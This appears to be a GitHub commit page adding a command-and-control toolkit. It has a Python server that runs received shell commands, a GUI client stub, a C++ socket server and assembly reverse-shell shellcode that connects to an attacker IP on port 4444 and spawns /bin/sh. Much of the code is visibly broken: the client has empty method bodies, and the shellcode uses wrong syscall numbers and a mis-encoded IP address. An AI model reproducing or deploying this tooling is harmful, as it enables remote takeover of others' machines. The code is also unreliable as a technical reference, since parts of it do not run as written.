Skip to content

Commit

Permalink
Main
Browse files Browse the repository at this point in the history
Finally
  • Loading branch information
xXIamNoOneXx committed Sep 11, 2023
1 parent a62be82 commit c517ceb
Show file tree
Hide file tree
Showing 4 changed files with 237 additions and 0 deletions.
57 changes: 57 additions & 0 deletions client/c2_client.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
import tkinter as tk
import socket
import logging
from cryptography.fernet import Fernet

# Configure the logging module
logging.basicConfig(filename='c2_client.log', level=logging.INFO, format='%(asctime)s - %(levelname)s: %(message)s')

class C2Client:
def __init__(self, root):
self.root = root
root.title("Concussion C2 Client")

self.server_host = 'YOUR_SERVER_IP'
self.server_port = 12345 # Match the server's port
self.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Attempt to connect to the C2 server
self.client_socket.connect((self.server_host, self.server_port))
except ConnectionRefusedError:
logging.error("Connection refused. Ensure the C2 server is running.")
self.root.destroy()
except Exception as e:
logging.error(f"Error: {e}")
self.root.destroy()

# Load the shared symmetric key (you should securely distribute this key from the server)
self.symmetric_key = b'YOUR_SHARED_SYMMETRIC_KEY'
self.cipher_suite = Fernet(self.symmetric_key)

self.setup_gui()

def setup_gui(self):
# Create and configure your GUI elements here
# ...

def send_command(self):
# Implement command sending logic here
# ...

def show_history(self):
# Implement command history retrieval logic here
# ...

def close_connection(self):
# Log connection closure when the GUI is closed
logging.info("Connection to the C2 server closed.")
self.client_socket.close()

if __name__ == "__main__":
root = tk.Tk()
client = C2Client(root)

# Configure the close button to log connection closure
root.protocol("WM_DELETE_WINDOW", client.close_connection)

root.mainloop()
42 changes: 42 additions & 0 deletions client/simple_server.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
#include <iostream>
#include <cstring>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main() {
int server_socket, client_socket;
struct sockaddr_in server_addr, client_addr;

// Create a socket
server_socket = socket(AF_INET, SOCK_STREAM, 0);

// Configure the server address structure
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(12345); // Choose a port
server_addr.sin_addr.s_addr = INADDR_ANY;

// Bind the socket to the server address
bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr));

// Listen for incoming connections
listen(server_socket, 5); // Number of queued connections

std::cout << "Server listening on port 12345..." << std::endl;

// Accept an incoming connection
socklen_t client_addr_len = sizeof(client_addr);
client_socket = accept(server_socket, (struct sockaddr*)&client_addr, &client_addr_len);

std::cout << "Accepted connection from " << inet_ntoa(client_addr.sin_addr) << std::endl;

// Send a welcome message to the client
const char* welcome_message = "Welcome to the server!\n";
send(client_socket, welcome_message, strlen(welcome_message), 0);

// Close the sockets
close(client_socket);
close(server_socket);

return 0;
}
55 changes: 55 additions & 0 deletions payloads/cistom_shell.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
global _start

section .data
; IP address of the attacker machine
ip db 192, 168, 1, 100

; Port number to connect to
port dw 4444

section .text
_start:
; Create a socket
xor rax, rax ; rax = 0
xor rdi, rdi ; rdi = 0
push rdi ; protocol = 0
push rdi ; SOCK_STREAM = 1
push byte 2 ; AF_INET = 2
mov rsi, rsp ; rsi points to the arguments array
syscall

; Connect to the attacker machine
mov rdi, rax ; rdi = socket file descriptor
mov rax, 1 ; syscall number for sys_write
push rax ; null-terminate the IP address
push qword 0x0202a8c0 ; IP address in reverse order (192.168.1.100)
mov rsi, rsp ; rsi points to the IP address
mov dx, word [port] ; Port number (4444)
push dx
mov rdx, rsp ; rdx points to the port number
mov al, 41 ; syscall number for sys_connect
syscall

; Duplicate file descriptors for stdin, stdout, and stderr
mov rdi, rax ; rdi = socket file descriptor
mov rax, 33 ; syscall number for sys_dup2
xor rsi, rsi ; rsi = 0 (stdin)
xor rdx, rdx ; rdx = 0 (stdin)
syscall

inc rsi ; rsi = 1 (stdout)
syscall

inc rdx ; rdx = 2 (stderr)
syscall

; Execute a shell
xor rax, rax ; rax = 0
push rax ; null-terminate the string
push 0x68732f2f6e69622f ; "/bin//sh"
mov rdi, rsp ; rdi points to the string
push rax ; null-terminate the argument list
push rdi ; pointer to "/bin//sh"
mov rsi, rsp ; rsi points to the argument list
mov al, 59 ; syscall number for sys_execve
syscall
83 changes: 83 additions & 0 deletions server/c2_server.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
import socket
import subprocess
import logging
import time
from cryptography.fernet import Fernet

# Configure the logging module
logging.basicConfig(filename='c2_server.log', level=logging.INFO, format='%(asctime)s - %(levelname)s: %(message)s')

# Generate a symmetric key for encryption (you should securely distribute this key to the client)
symmetric_key = Fernet.generate_key()
cipher_suite = Fernet(symmetric_key)

def run_command(command):
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
return result.stdout
except Exception as e:
return str(e)

# Create a socket object
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Define the host and port to bind to
host = '0.0.0.0' # Listen on all available network interfaces
port = 12345 # Choose a port number

try:
# Bind the socket to the host and port
server_socket.bind((host, port))

# Listen for incoming connections
server_socket.listen(5) # Number of queued connections

logging.info(f"Server listening on {host}:{port}")

# Accept incoming connections
client_socket, client_address = server_socket.accept()

logging.info(f"Accepted connection from {client_address}")
connection_start_time = time.time() # Record the connection start time
command_history = [] # Store command history

while True:
# Receive an encrypted command from the client
encrypted_command = client_socket.recv(1024)
if not encrypted_command:
break

# Decrypt the command using the symmetric key
command = cipher_suite.decrypt(encrypted_command).decode('utf-8')

if command.lower() == 'exit':
# Exit the loop and close the connection
break
elif command.lower() == 'history':
# Send the command history to the client
history_output = "\n".join(command_history)
encrypted_history_output = cipher_suite.encrypt(history_output.encode('utf-8'))
client_socket.send(encrypted_history_output)
else:
# Execute the command and send the encrypted output back to the client
output = run_command(command)
command_history.append(command)

# Encrypt the output before sending
encrypted_output = cipher_suite.encrypt(output.encode('utf-8'))
client_socket.send(encrypted_output)

except socket.error as e:
logging.error(f"Socket error: {e}")
except Exception as e:
logging.error(f"Error: {e}")

finally:
# Calculate the connection duration and log it
connection_duration = time.time() - connection_start_time
logging.info(f"Connection from {client_address} closed. Duration: {connection_duration:.2f} seconds")

# Close the sockets when done
client_socket.close()
server_socket.close()

0 comments on commit c517ceb

Please sign in to comment.